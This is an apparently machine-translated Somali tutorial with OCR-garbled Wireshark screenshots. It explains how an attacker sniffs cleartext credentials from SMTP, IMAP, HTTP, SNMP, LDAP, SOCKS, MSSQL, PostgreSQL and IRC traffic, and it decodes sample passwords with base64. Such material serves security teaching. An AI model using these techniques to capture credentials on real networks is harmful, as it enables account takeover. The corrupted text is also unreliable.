Haddii qof adeegsado aqoonsi cad oo qoraal ah inta lagu guda jiro
macaamilka 'SMTP', weeraryahan meel kufiican ayaa urin kara
agoonsiyada. Dhammaan wixii weeraryahan ah inuu sameeyo waa inuu
saldhig ka dhigto 64 magaca magaca iyo lambarka sirta ah. Taasi waa
sababta oo ah SMTP waxay isticmaashaa koodhka 'base64 encoding' si
loogu qoro magaca adeegsadaha iyo lambarka sirta inta lagu guda jiro

macaamilka.

Sawirka soo socda waxaan ku arki karnaa agoonsiyada SMTP ee la
gabtay iyadoo la adeegsanayo Wireshark iyo natiijada ka timaadda

base64 decoding iyadoo la adeegsanayo saldhigga 64 ee korontada ee

Linux:
dm3® RERes=f s 5EQQqH
(Moo o ey s <t )+
No. Time Source Destination Protocol  Length Info A
417 159.484521 192.168.134.186 192.168.134.184 SMTP 92 S: 220 smtp@l.local ESMTP
418 159.484576 192.168.134.184 192.168.134.186 TCP 68 36450 » 25 [ACK] Seq=1 Ack=25 Win=43776 Len=0 TSv..
419 159.4384674 192.168.134.186 192.168.134.184 SMTP 84 C: EHLO localhost
420 159.484691 192.168.134.184 192.168.134.186 TCP 68 25 » 36450 [ACK] Seq=25 Ack=17 Win=43776 Len=@ TS..
421 159.434806 192.168.134.186 192.168.134.184 SMTP 118 S: 25@-smtp@l.local | AUTH LOGIN PLAIN XYMCOOKIE ——1
422 159.484897 192.168.134.184 192.168.134.186 SMTP 80 C: AUTH LOGIN |
423 159.4384980 192.168.134.186 192.168.134.184 SMTP 86 S: 334 VXNlcmShbWué =
424 159.485076 192.168.134.184 192.168.134.186 SMTP 82 C: User: am9lLnVzZXI= =
425 159.485223 192.168.134.186 192.168.134.184 SMTP 86 S: 334 UGFzc3dvcmQ6 =]
426 159.485296 192.168.134.184 192.168.134.186 SMTP 82 C: Pass: UGEkJIDEyMyE= =
477 150.489320  192.168.134.186 192.168,134.184 TCP 68 25 > 36450 [FIN, ACK] Seq=111 Ack=57 Win=43776 Le..
428 159.489829 192.168.134.184 192.168.134.186 TCP 68 36450 = 25 [FIN, ACK] Seq=57 Ack=112 Win=43776 Le..
429 159.489838 192.168.134.186 192.168.134.186 TCP 68 25 » 36458 [ACK] Seq=112 Ack=58 Win=43776 Len=0 T..
430 159.691766 192.168.53.33 192.168.134. E s =
431 159.691825 192.168.134.186 192.168.53.3
432 159.697619 192.168.53.33 192.168.134. bash#
433 159.697677 192.168.134.186 192.168.53. 'baSh#:
434 159948679 192.168.134.234 PECIPIIIPET) D2sh# base6d -d <<<amolLnvzzxI=
- joe.user
Frame 426: 82 bytes on wire (656 bits), 82 bytes capt|ESEENVERT-TEEET BESIIId '@ sl 3 )Y/ =5
Linux cooked capture Pa$§$§123!
Internet Protocol Version 4, Src: 192.168.134.186, DsieGElid
Transmission Control Protocol, Src Port: 36450, Dst P¢
Vv Simple Mail Transfer Protocol
Password: UGEKJIDEyMyE=
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IMAP4 password sida wiresharke loo gu helo

Borotokoolka Helitaanka Fariinta Internetka (IMAP) waa borotokol kale
oo email la xiriira. Waxay isticmaashaa dekedda tcp / 143 waxayna
badanaa u baahan tahay amarka ‘STARTTLS' si loo bilaabo sirta SSL /
TLS ka hor isku day kasta oo xaqiijin ah. Laakiin si la mid ah sida SMTP,
ururada gaarkood wali waxay taageeraan xagqiijinta 'cad' ee kanaalka
aan la garin. Xaaladaha noocaas oo kale ah xagqiijinta ayaa u muugata

qof kasta oo si fiican u taagan.

Shaashadda soo socota waxay muujineysaa aqoonsiyada IMAP ee laga

soo gabtay shabakadda Wireshark:

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AN @ D[ REB QA «» s3T5 aaqaifF

\m“map

No. Time Source Destination Protocol Length Info

[ 48 1.565387 192.168.15.171 192.168.0.4 IMAP 275 Response: * CAPABILITY IMAP4revl CHILDREN

} 49 1.566242 192.168.0.4 192.168.15.171 IMAP 76 Request: 2 authentlcate plaln

TR STITE —_— TRETT - =T — : - -

.0 0] .100. o vZ.100.U. o o O H UK H omp

54 1.674833 192.168.0.4 192.168.15.171 IMAP 102 Request: 3 ID ("name" "Thunderbird" "vers
55 1.740120 192.168.15.171 192.168.0.4 IMAP 73 Response: 3 OK ID completed
56 1.740695 192.168.0.4 192.168.15.171  IMAP 86 Request: 4 append "Sent" (\Seen) {452+}
57 1.740831 192.168.0.4 192.168.15.171 IMAP 508 Request: Message-ID: <521663E3.7090401@ne
59 1.809055 192.168.15.171 192.168.0.4 IMAP 102 Response: 4 OK [APPENDUID 1377199071 1] A
64 7.517500 192.168.15.171 192.168.0.4 IMAP 94 Response: * OK IMAP server ready H mimapil
65 7 518171 192‘168.0.4 192.168.15 171 IMAP 68 Request: 1 capablllty

Frame 51 120 bytes on wire (960 bltS), 120 bytes captured (960 bits)

Ethernet II, Src: IntelCor_4b:82:37 (c8:f7:33:4b:82:37), Dst: Sagemcom_64:16:49 (4c:17:eb:64:16:49)
Internet Protocol Version 4, Src: 192.168.0.4, Dst: 192.168.15.171

Transmission Control Protocol Src Port: 23465, Dst Port: 143, Seq: 37, Ack: 266, Len: 66

Interne &

~ Line

{ v v v w | —nme

:~# base64 -di <<<am91AFBAUIMxMjM=

joeP@SS123
:~# base64 -di <<<am9lAFBAUIMXxMjM= | hexdump -
0000000 j o e \o P @ S S 1 p 3

000000b

~# .
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Ogsoonow in IMAP4 ay sidoo kale adeegsato koodhadh base6y4 la
mid ah kan SMTP. Sidaa darteed, waa lagama maarmaan in la caddeeyo
agoonsiga la gabtay markale si loo helo magaca qoraalka iyo ereyga
sirta ah. Ogeysiis byte-NULL (\ 0) inta udhaxeysa magaca isticmaale iyo

erayga sirta ah ee ku kala soocaya shaashada kore.

Weeraryahannadu hadda waxay marin u heli karaan sanduuqga joe
ee waxay aqgrin karaan mid ka mid ah emaylkiisa Ogsoonow in IMAP4 ay
sidoo kale adeegsato koodhadh base64 la mid ah kan SMTP. Sidaa
darteed, waa lagama maarmaan in la caddeeyo agoonsiga la gabtay
markale si loo helo magaca qoraalka iyo ereyga sirta ah. Ogeysiis byte-
NULL (\ o) inta udhaxeysa magaca isticmaale iyo erayga sirta ah ee ku

kala soocaya shaashada kore.

Weeraryahannadu hadda waxay marin u heli karaan sanduuga joe

ee waxay aqrin karaan mid ka mid ah emaylkiisa

HTTP password sida wiresharke loo gu helo

In kasta oo ay jireen dadaal aad u baaxad weyn oo ay wada sameeyeen
dhammaan iibiyeyaasha biraawsarka si looga hortago adeegsiga HTTP
sida ugu macquulsan, haddana waxaan weli arki karnaa HTTP oo loo

adeegsanayo shabakadaha gudaha inta lagu jiro baaritaanka
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gelitaanka. Halkan waxaa ah tusaale ka mid ah aqoonsiyada galitaan ee

lagu gabtay isgaarsiinta HTTP ee codsi POST ah:

[No. Time Source Destination Protocol ”Length' Info
962 10.033695761 127.0. 127.0.0.1 TLSvi.2 1086 Application Data

0.1

992 12.241989872 127.0.0.1 127.0.0.1 TLSv1.2 344 Application Data
0.1 127.0.0.1 TLSv1.2 99 Encrypted Alert
0 0.0 HIIP =

993 12 242917339 127.0.

s 232238896

“ 1010 24.399195065 10.0.20. 5 %

: 1013 24.399839147 127.0.0.1 F27. 8951 HTTP 740 HTTP/1 1 200 OK (application/json)
1023 24.459042331 127.0.0.1 127.0.0.1 HTTP 273 CONNECT api.mixpanel.com:443 HTTP/1.1
1028 24.468187047 127.0.0.1 127.6.0.1 HTTP 273 CONNECT api.mixpanel.com:443 HTTP/1.1
1030 24.473581056 127.0.0.1 127.6.0.1 HTTP 107 HTTP/1.0 200 Connection established
1032 24.474375783 127.0.0.1 127.0.0.1 TLSv1.2 293 Client Hello
1033 24.474738032 127.0.0.1 127.0.0.1 TLSv1.2 158 Server Hello
1037 24.478226459 127.0.0.1 127.0.0.1 HTTP 273 CONNECT api.mixpanel.com:443 HTTP/1.1
1039 24 AR1179655 127 A A 1 127 6.0 1 HTTP 1A7 HTTP/1 A 200 Cannectinn estahlished

Frame 1008: 1137 bytes on wire (9096 bits), 1137 bytes captured (9096 bits) on interface ©
Linux cooked capture

Internet Protocol Version 4, Src: 10.0.2.15, Dst: 10.0.20.99

Transm1551on Control Protocol Src Port: 59488, Dst Port: 89, Seq 1, Ack: 1, Len: 1081

vy vww

Java5cript obJect Notation: application/json
v Object
v Member Key: email

String value: test5@test.com

Key: email
v Member Key: password
String value: password@i23
Key: password

Waa kuwan tusaale kale oo gabanaya xaqiijin aasaasi ah oo ku saabsan
codsiga HTTP GET. Xusuusnow in xariga aqoonsiga uu yahay baseb64
mid mar kale la xardhay, si la mid ah hab maamuuska SMTP ama
IMAPy4. Laakiin haddii ay dhacdo xagiijinta aasaasiga ah ee HTTP,

Wireshark ayaa si toos ah noogu geexaya:
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File Edit View Go Capture Analyze Statistics Telephony JTools [nternals Help

e damd BRXZ A evadTE(BE QQQF §EM® O
Filter; ViExpvess:on... Clear Apply Save
No. Tim. Saurce Destination Protocol  Length Info ~
2 0. 00031900 10.1.0.1 10.1.0.130 TCP 66 http > 49222 [SYN, ACK| seq=0 Ack=1l Win=8192 Len=
3 0.0007180010.1.0.130 10.1.0.1 TCP 54 49222 > http [ACK] sSeq=1 Ack=1 Win=262144 Len=0
4 1.8877820010,1.0,130 10.1.0.1 HTTP 369 GET / HTTP/1.1
5 1.8889180010.1.0.1 10.1.0.130 TCP 1514 [Tcp segment of a reassembled ppul
6 1.8889210010.1.0.1 10.1.0.130 HTTP 67 HTTP/1.1 401 uUnauthorized (text/html)
7 1.8892070010.1.0,130 10.1.0.1 TCP 54 49222 > hrtp [AcK] Seq=316 Ack=1474 win-262144 Le
[ 8 9.0979680010.1.0.130 10.1.0.1 HTTP 424 GeT / HTTP/L1.1
9 9.1011210010,1.0,1 10.1.0.130 HTTP T9G HTTP/1.1 304 NOT Moaitied

7 Frame 8: 424 bytes on wire (3392 bits), 424 bytes captured (3392 bits) on interface 0

% Ethernet IX, Src: Microsof 0a:73:02 (00:15:5d:0a:73:5d), Dst: Microsof 0a:73:00 (00:15:5d:0a:5d:00)

¥ Internet Protocol Version 4, Sre: 10.1.0.130 (10.1.0.130), pst: 10.1.0.1 (10.1.0.1)

i Tran.,m'i:‘.siun ontrol Protocol, Src Port: 49222 (49222), pst pPort: hrrp (80), Seq: 316, Ack: 1474, Len: 370
= hy otocol

A'r,cept: */*\r\n
Acceprt-Language: en-us\r\n

b
Accepr-Encoding: gzip, deflare\r\n
Host: server\ri\n
If-Modified-Since: Thu, 12 Feb 2018 18:02:42 aMT\r\n
If-None-Match: "848dd018eed46d20:0"\r\n
cannection: Keep-Alive\r\n

5 Authorization: Basic YWRtawSpc3RYYXRvCjpQysQkdzByZa==\r\n

[Credentials: administrator:Password)
\rin

0060 6" 65 3a 20 65 60 Zd 55 53 Od Oa
0070

0080 K3 30 20 28 63 Gf Gd 70 61 74 69 62 6¢ 65 3b 20
JCIRAd 53 49 45 20 37 2e 30 3b 20 57 69 6e 64 6f 77|
00a0 73 20 4e 54 20 36 Ze 33 Sb 20 5/ 4f 57 35 34 -

nnhn

@ | "'f HT fP User-Agent header {hitp.user_agent), .. Packets. 13. D:spiayed 13 {100, O%} Droppcd 0 (00 %) Profile Default

Qabso cookies-ka kulanka HTTP

Adoo dhageysanaya isgaarsiinta HTTP ee aan la garin, weeraryahan
ayaa sidoo kale si fudud u gqabsan kara cookies-ka kalfadhiga Wireshark.
Ka urinta buskudka kal-fadhiga shabakadda waxay ficil ahaan la mid

tahay sida urinta agoonsiga.

Ka soo qaado faylasha taraafikada HTTP

Adoo adeegsanaya Wireshark waxaan sidoo kale si fudud uga soo saari
karnaa feylasha sida sawirada, dukumiintiyada iyo feylasha maqalka ee
taraafikada shabakada. Brad Duncan oo ka socda PaloAlto Networks
ayaa qoray maqaal aad u fiican oo sharraxaya sida looga soo saaro

xogta borotokoolka shabakadaha kala duwan iyadoo la adeegsanayo
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Wireshark. Waxa kale oo jira aalad Chaosreader ah oo u oggolaanaysa in

laga soo saaro xogta faylka PCAP.

SNMP password sida wiresharke loo gu helo

Nidaamka Maareynta Maareynta Isku-xirka (SNMP) wuxuu caadi ahaan
ku shageeyaa dekedda udp / 161. Ujeeddadeeda koowaad waa in la
maareeyo oo lala socdo aaladaha shabakadda iyo shagooyinkooda.
Waxaa jira 3 nooc 0o ah borotokoolka SNMP iyo 2da nooc ee uhoreysa
(viiyo v2c) waa hab maamuus qoraal cad. SNMP waxay isticmaashaa
shay la yiraahdo xadhiga bulshada, taas oo u dhiganta xagqiijinta. Sidaa
darteed, gabashada xariga bulshada ee SNMP ficil ahaan waxay lamid

tahay gabashada aqoonsiyada.

In kasta oo SNMPv3 ay nala joogeen ku dhowaad 2 sano hadda,
arrimuhu waqti ayey gaadanayaan. Ururada badankood wali waxay ku
isticmaalaan vi1 ama v2c shabakadahooda gudaha. Tani waxay caadi
ahaan sabab u tahay is waafajinta gadaal ee nidaamyada dhaxalka ee
shabakadooda.

Waa kan tusaalaha xadhigga bulshada ee SNMP ee la gabsaday adoo

adeegsanaya Wireshark:
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Blo Gt Vew Go Capture Analyze Jatistics Tekephony Tooks [rkernds  Hebp

BEANGN EEXRE A++0TFL((BE QD VX B
Flter: s v | Expression,.. Clear

No. Time Source Destinastion Protocl  Length  Info

450 4,188295192.168.1.71 192.168.1.83 SNMP 87 get-request 1.3.6.1.4.1.6347.1.1.0
451 4.194784192.168.1.83 192.168.1.71  SNMP 92 get-response 1.3.6.1.4.1.6347.1.1.0
452 4,204757192.168.1.71 192.168.1.83 SNMP 87 get-request 1.3.6.1.4.1.6347.1.1.1
453 4 209945192 1 1??.168.1.71 SNMP 92 get-response 1.3.6.1.4.1.6347

F‘H
Iy H
P

157 trap 150.3.6.1.4.1.63

.83 192.168.1.71 SNMP 92 get-response 1. 3.6.1‘4.1.6347 1.1.0

- AN wrA e e e SRS T S TS . 4w rmam w4 e e

516 5.199778192.168.

FemE AARAAr YA AR

¥ 3 1.83 92 71 5
5135 187428192.168.1.71 192.168.1.83  SNMP 87 get-reguest 1. .6.1.4.1.6 47.1.1.0
1

Frame 476: 157 bytes on wire (1256 bits), 157 bytes captured (1256 bits)

Ethernet II, Src: SierraMo_02:0f:32 (00:50:4e:02:0f:32), Dst: AsustekC_b7:84:06 (00:23:54:b7:84:06)
Internet Protocol Version 4, Src: 192.168.1.83 (192.168.1.83), Dst: 192.168.1.71 (192.168.1.71)
User Datagram Protocol, Src Port: solid-mux (1029), Dst Port: snmptrap (162)

- S1mp1e Network Management Protocol

RO

= trap

enterprise: 1.3.6.1.4.1.6347 (i50.3.6.1.4.1.6347)

agent-addr: 192.168.1.83 (192.168.1.83)

generic-trap: enterpriseSpecific (6)

specific-trap: 17

time-stamp: 21760

= variable-bindings: 2 items

21.3.6.1.4.1.6347.11.0: 434f537365727665724578616d706c65205354415455533a. ..
Object Name: 1.3.6.1.4.1.6347.11.0 (i50.3.6.1.4.1.6347.11.0)
value (OctetString): 434f537365727665724578616d706c65205354415455533a. ..

21.3.6.1.4.1.6347.11:
Object Name: 1.3.6.1.4.1.6347.11 (§s0.3.6.1.4.1.6347.11)
value (Integer32): 1

0000 00 23 54 b7 84 06 00 50 4e 02 of 32 08 00 45 00 .#T....P N..2..E.

0010 00 8f 38 13 00 00 fe 11 00 60 cO a8 01 53 cO a8 e | (T & s DA
0020 01 47 04 05 00 a2 00 7b 4b 91 30 81 70 02 01 Q0 WGlsivrs {2 K0P
0030 04 07 6¢ 6f 77 64 6F 77 6e ad 81 61 06 07 26 06 .. iowdow n. 3. +.

Weeraryahan ayaa hadda adeegsan kara xarigga bulshada wuxuuna
ururin karaa macluumaad faahfaahsan oo ku saabsan nidaamka fog.
Tani waxay u oggolaan kartaa weeraryahanku inuu barto faahfaahinta
xasaasiga ah ee ku saabsan nidaamka oo uu qorsheeyo weeraro
dheeraad ah oo ka dhan ah. Ogsoonow in mararka gaarkood xadhigga
bulshada uu sidoo kale u oggolaado inuu wax ka beddelo qaabeynta

nidaamka fog (akhriska / qoritaanka).
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LDAP password sida wiresharke loo gu helo

Nidaamka Helitaanka Kaydka Miisaanka Fudud (LDAP) wuxuu
hirgeliyaa hab maamuus loogu talagalay helitaanka iyo dayactirka
adeegyada macluumaadka hagaha. Waxay caadi ahaan ku socotaa
dekedda tcp / 389 oo ah adeeg qoraal oo cad, oo aan la garin. Sidaa
darteed waxay u nugul tahay dhageysiga sida maamuuska qoraalka

kale oo cad.

LDAP waxay isticmaali kartaa habab badan oo agoonsi ah. Habka ugu
aasaasiga ah waxaa loo yagaan 'fudud' waana asal ahaan magaca
isticmaalaha iyo lambarka sirta ah ee qoraalka cad. Sidaa darteed, qof
kasta 0o boos u jooga inuu baaro taraafikada shabakadda wuxuu si

fudud u gabsan karaa LDAP si fudud loo agoonsan karo

Waa kan tusaale xagqiijinta LDAP ee lagu gabtay Wireshark:

l‘ 93 25.571261 10.49.227.112 10.49.149.7 102 bindRequest(1) "adf\mpsadmin"
L 94 25.571295 10.49.149.7 10.49.227.112 TCP 66 389 - 39170 [ACK] Seq=1 Ack=37 ¥

v LDAPMessage bindRequest(1) "adf\mpsadmin" simple
messagelD: 1
v protocolOp: bindRequest (@)
v bindRequest
version: 3

name: jadf\mpsadmin
v authentication: simple (@)
simple:

000 T4 @f 24 1f 5d 82 @@ 25 84 66 b3 ff 08 @0 45 00 ..$.]..% .f....E.

10 00 58 7f 84 40 00 3T 06 2T 42 @a 31 e3 70 6a 31 .X..@.7. /B.l.p.1

) 95 07 99 02 01 85 d9 e® 47 al 6a a9 d9 €6 80 18 ........ Gejouvauns

05 b4 be Oc 00 00 01 1 08 0a 5¢ 63 38 50 48 TC  .siiauurs us \C8PH.

0040 ec T3 30 22 02 01 01 60 1d 02 01 @3 04 @3 04 Qe BT Gareaen

0050 66 63 61 5¢ 6d 70 73 61 64 6d 69 6e 80 08 50 40 adf\mpsa dmin..P@
0060 73 73 77 30 72 64 ssword

() 7 LDAPMessage (Idap.LDAPMessage element), 36 bytes
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Intaas waxaa sii dheer, deegaanka Windows Directory Directory,
kormeerayaasha domain badanaa waxay soo bandhigaan iskuxirka
LDAP ee dekedda tcp / 389. Caadi ahaan waxaa jira nidaamyo gaar ka
mid ah shabakadda oo lagu daro Directory Active iyadoo la
adeegsanayo isku xirka LDAP - tusaale ahaan. nidaamyada
kageybgalka, nidaamyada xakamaynta marin u helka, daabacayaasha
iwm. Xaaladaha noocaas ah, nidaamyadan waxay u oggolaan karaan
weeraryahan inuu ku gabsado aqoonsiga isticmaale domain sax ah
LDAP, haddii aan si fiican loo hubin.

SOCKS password sida wiresharke loo gu helo

SOCKS waa borotokollo wakiillo badan oo caan ah, oo u oggolaanayain
loo gudbiyo (ama loo maro) wixii taraafikada TCP ama UDP ee u
dhexeeya macmiilka iyo server-ka. SOCKS nooca 5 sidoo kale waxay
taageertaa xagqiijinta. Maaddaama SOCKS aysan samayn wax sir ah
kaligeed, dhammaan xogta soo marta tunnel-ka waxay u socotaa "sida
ay tahay". Dusheeda, haddii aan ku jirno booska aan ku gabanno
taraafikada shabakadda ee udhaxeysa macmiilka iyo server-ka, waxaan

qaban karnaa sugitaanka SOCKS sidoo kale.

Borotokoolka SOCKS5 wuxuu taageeraa habab badan oo aqoonsi ah.
Midkood waa username iyo erey sir ah maadaama aysan jirin wax sir ah,
weeraryahan si fiican u taagan ayaa ku gaban kara isagoo isticmaalaya

baakad uriyaha.
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Ka dib shaashadda soo socota waxay tusineysaa tusaalaha agoonsiga
SOCKSs ee lagu gabtay Wireshark:

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AE 1@ D RE QA e» sww=Eaaall
[IlApmyadpryﬁRerm<Ctﬂ4>
:No. "Time " 'Destination ”Protocol Length -lnfo

Source

4 0.069237

192.168.0 192.168.0 71 Version:

6 () 4 g 68 0 O 08 () 68 \/e ion:

8 0.213561 192.168.0.2 192.168.0. 77 Version:

U U.21000 97.1008.0. 07.108.0. S Version:
11 0.217095 192.168.0.2 192.168.0.1 Socks 76 Version: 5
15 0.222837 192.168.0.1 192.168.0.2 Socks 76 Version: 5

Frame 8: 77 bytes on wire (616 bits), 77 bytes captured (616 bits)

Ethernet II, Src: PcsCompu_ab:cb:63 (08:00:27:ab:cb:63), Dst: PcsCompu_ad:b6:11 (08:00:27:

Internet Protocol Version 4, Src: 192.168.0.2, Dst: 192.168.0.1

Transmission Control Protocol, Src Port: 55951, Dst Port: 1080, Seq: 6, Ack: 3, Len: 11

Socks Protocol

[Version: 5]
bpegoti !

d O
User name: bob
Password: alice

0000 08 00 27 ad b6 11 08 ©0 27 ab cb 63 08 00 45 00 AR '..c--E-

{ v v v~

ersion: 1

0010 00 3f 8b 5 40 00 40 06 2e 06 cO a8 00 02 cO a8 2. @@ ..o

) 00 01 da 8f 04 38 ae 49 ad 96 47 6e 1a 01 80 18 - .. 8-I --6n+-+-
03 91 10 54 00 00 01 01 08 Ga 00 Ob 27 00 00 b B I
28 fc 01 03 62 6f 62 05 61 6C 69 63 65 (- -bob- alice

Weeraryahan ayaa hadda isticmaali karaya soCKS wakiilkiisa iyo

nidaamyada marin u helka shabakadda dhinaca adeegga.
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MSSQL password sida wiresharke loo gu helo

Microsoft SQL server typically runs on port tcp/1433 and it is yet
another service for which we can capture password with Wireshark. If
the server is not configured with ‘ForceEncryption’ option, it is possible
to capture plain text authentication either directly or by using a
downgrade attack. A man-in-the-middle could capture MSSQL

credentials very easily.

Here’'s an example of captured MSSQL password of the ‘sa’ user using
Wireshark:

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
lam @0 I DRB Res=>=FTaE[Eaaan

|[i [Applv a display filter ... <Ctrl-/> :’ v
No. Time Source Destination Protocol Length Info -T
g_O 43.6085159 192.168.14.18 192.168.14.6 TCP 68 57950 > 1433 [ACK] Seg=1 Ack=1 Win=43776 Len=0..

I 21 43.605208 192.168.14.18 192.168.14.6 TDS 677 TDS4/5 login (Not last buffer),TDS4/5 login
22 43.605215 192.168.14.6 192.168.14.18 TCP 68 1433 » 579508 [ACK] Seq=1 Ack=61@ Win=44928 Len..
25 43.685868 192.168.14.6 192.168.14.18 TCP 68 1433 » 57950 [ACK] Seq=2 Ack=611 Win=44928 Len.. v
v TDS 4 Login Packet A
Hostname length: 1S5
Hostname :

Username length: 2
Username: sa
Password length: 10
Password: secr3tpfss
Host Process Id length: 5
Host Process Id: 15399

> Login Options 53
00 00 00 G0 00 00 00 00 ©0 00 00 00 00 08 @4 73 - - -- - oooes s
61 00 00 00 00 00 00 00 0O 00 0O PO PO PR R @O @~ - - e
00 00 00 00 00 00 00 PO 0O 00 90 00 @B B2 73 65 - s se
63 72 33 74 70 40 73 73 00 00 00 00 00 00 00 00 cr3tp@ss - - -
0 00 00 00 00 00 00 00 ©0 00 8@ 80 @a 31 35 33 - cccc. ceee- 153
39 39 00 00 00 00 00 G0 00 00 0D 00 00 @@ @0 @@ 99 - - - - --..eion
00 00 00 00 00 00 GO OO 00 00 00 05 03 81 86 Ba - - e
00 00 00 00 00 00 00 00 00 @0 73 71 73 68 - -ccccc ceon sq
2e 31 2e 37 00 00 ©0 00 00 00 00 00 00 00 v M R PR v

Frame (677 bytes) Reassemble

a

TDS (593 bytes)
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Xusuusnow in MSSQL ‘sa’ isticmaalaha uu yahay koontada Maamulaha
Nidaamka - isticmaalaha ugu mudnaanta badan. Sidaa darteed, tani
waxay yeelan doontaa saameyn xasaasi ah oo u oggolaaneysa
weeraryahanku inuu si buuxda ula wareego maamulka keydka
macluumaadka. Waxay sidoo kale u horseedi kartaa fulinta amarka fog
(RCE) via the xp_cmdshell functionality (link, link, link..).

PostgreSQL password sida wiresharke loo gu helo

PostgreSQL waa mid kale oo caan ah oo loo yagaan 'SQL server server'.
Waxay ku socotaa dekedda tcp / 5432 waxayna taageertaa habab kala
duwan oo aqoonsi ah. Badanaa waxaa loo gaabeeyaa si loo diido
cadeynta qoraalka oo cad, laakiin mararka gaarkood waxaa loo
gaabeeyaa si loo ogolaado. Xaaladaha noocaas ah weeraryahan si fiican
u taagan ayaa gaban kara username iyo lambarka sirta isagoo
dhageysanaya taraafikada shabakadda.

Ogsoonow in agoonsiga PostgreSQL uu ku yimaado xirmooyin badan.

Marka hore waxaa jira magaca isticmaalaha iyo magaca keydka:
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File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AN @ B[ RE Q « » 0«

@ Q @ IF

’I|ApmyadhpbyﬁREL"<CULb

.Tnne

|No.

Source Destination

”Protocol

168.

192. 192.

28 2. 192. .190 192.168.

776824 168.204 204 PGSQL
29 2.776829 192.168.204.1 192.168.204.190 TCP
30 2.776871 192.168.204.190 192.168.204.1 PGSQL
f R R S R s Uy 2
Frame

Linux cooked capture
Transmission Control Protocol, Src Port: 47302,
PostgresSQL

Type: Startup message

Length:

{ v v v w

name: user
value: dbadmin
name: database
value: proddb
name: applica
value: psql
name: client_encoding

00 00 03 04 0O 06 00 GO0 00 00 00 0O 00 00 08 00

45 00 00 85 4b 3c 40 GO 40 06 d4 68 cO a8 cc be
cO a8 cc be b8 c6 EklEl:] e2 81 87 d2 f2 63 e2 77

lon_name
Parameter
Parameter

OO

0020

77 <R
68 47302 —~ 5432 [ACK] Seg-
84 >p

e

26: 149 bytes on wire (1192 bits), 149 bytes captured (1192 bits)

Internet Protocol Version 4, Src: 192.168.204.190, Dst: 192.168.204.1
Dst Port: 5432, Seq: 1, Ack: 1, Len: 81

Xirmooyinka shabakadda ee soo socda, waxaan arki karnaa ereyga

'‘PostgreSQL' sidoo kale:

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
A | T O RE @ = = 3 e« =i [ @ a o EE
[- |Apply a display filter ... <Ctril-/>
;No. :I’IL‘ne  Source ;I?gﬁstination mii;grotocol Length Info
25 2.775658070 192.168.204 .1 192.168.204.190 TCP 68 47302 — 5432 [ACK] Seqg-
26 2.775676403 192.168.204.190 192.168.204.1 PGSQL 149 =
27 2.775678741 192.168.204 .1 192.168.204.190 TCP 68 5432 — 47302 [ACK] Seqg-
2.776823790 192.168.204.190 192 .168.204 .1 PGSQL 77 <R
632326 S S 04 > s 04 —
| | 2.776870677
|«
Frame 30: 84 bytes on wire (672 bits), 84 bytes captured (672 bits)
Linux cooked capture

Internet Protocol Version 4, Src:
Transmission Control Protocol,
PostgresQL

Type: Password message

path_. 15
Password:

192.168.204.190,
Src Port: 47302,

(vvvw

P@ss123123 j

(clolc]c] 00 00 O3 04 OO 06 0 00 00 00 00 00 O 00 08 66

2016 45 OO0 OO 44 4b 3e 40 G0 40 ©6 d4 a7 c© a8 cc be
c® a8 cc be b8 c6 15 38 e2 81 88 23 f2 63 e2 80
80 18 ©1 56 1b 05 G 0O ©1 01 ©O8 Oa 68 59 Oe 83
68 59 Pe 83 70 00 GG 006 ef S 4e 73 73 31 32 33
31 32 33 ©0

Dst:
Dst Port:

192.168.204.
5432,

Seq:
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IRC password sida wiresharke loo gu helo

Chat Relay Internet (IRC) waa borotokool lagu sheekeysto sida caadiga
ah iyadoo la adeegsanayo dekedda tcp / 6667. IRC waxay caan ku ahaan
jirtay go-maadkii. In kasta oo aanu sidaa caan u ahayn maanta, haddana
dadka gaarkiis wali way isticmaalaan welina way jiraan. Intaa waxaa sii
dheer, qorayaasha khayaanada iyo hawlwadeenada botnet waxay u
isticnaalaan sidoo kale inay maareeyaan ciidamadooda bots. Waxay
caadi ahaan leeyihiin server IRC gaar loo leeyahay oo lagu ilaaliyo sirta
ama kanaalka gaarka loo leeyahay (qolka lagu sheekeysto) meel ka mid

ah server-yada IRC ee dadweynaha.

Maaddaama IRC ay tahay borotokool qoraal cad ah, way fududahay in
la soo gabto aqgoonsiyada lagu gudbiyay kanaalkan. Waa kan tusaalaha

ereyga sirta ah ee IRC ee lagu gabtay Wireshark:

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

dm e RERes2=f s EEaQaas
(N [A:rf;- y a display filter ... <Ctrl-/ - v+
No. Time Source Destination Protocol Length Info A
240 36.071665 192.168.1.186 192.168.32.231 TCP 68 59956 » 6667 [ACK] Seq=1 Ack=1 Win=29312 Len=0 TS..
241 36.071812 192.168.1.186 192.168.32.231 IRC 76 Request (CAP)
242 36.238719 192.168.32.231 192.168.1.186 TCP 68 6667 » 59956 [ACK] Seg=1 Ack=9 Win=5792 Len=8 TSv..
| 243 36.238789 192.168.1.186  192.168.32.231  IRC 128 iRequest (PASS) (NICK) (USER) 1|
244 36.405415 192.168.32.231 192.168.1.186 TCP 68 6667 » 59956 [ACK] Seq=1 Ack=69 Win=5792 Len=@ TS..
245 36.405645 192.168.32.231 192.168.1.186 IRC 1195 Response (001) (@02) (@@3) (@04) (@85) (805) (251. —— v |
Frame 243: 128 bytes on wire (1024 bits), 128 bytes captured (1024 bits)
Linux cooked capture
Internet Protocol Version 4, Src: 192.168.1.186, Dst: 192.168.32.231
Transmission Control Protocol, Src Port: 59956, Dst Port: 6667, Seq: 9, Ack: 1, Len: 6@
Vv Internet Relay Chat
Request: PASS P@SSwerd!2
Request: NICK joe
Request: USER joe joe freeserv.irc:joe
45 20 @@ 70 f7 55 40 @2 40 06 44 41 c@ ad @1 ba E-p:U@ @ DA ~
53 a7 e8 e7 ea 34 1la @b b3 @8 27 6b al @8 c2 ef S 4 'k
80 138 0@ e5 aa a3 00 2@ @1 @1 88 @a 3T @ cc c3 ?
86 ca 8c e2 50 41 53 53 20 50 40 53 53 77 3@ 72 PASS P@SSwer
64 21 32 od @a 4e 49 43 4b 20 6a 6T 65 @d @a 55 d!2--NIC K joe--U v
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OSPF password sida wiresharke loo gu helo

Open Shortest Path First (OSPF) waa borotokool loo maro shabakadaha
ku saleysan IP. Tan ugu caansan waa nooca OSPF 2, oo lagu geexay
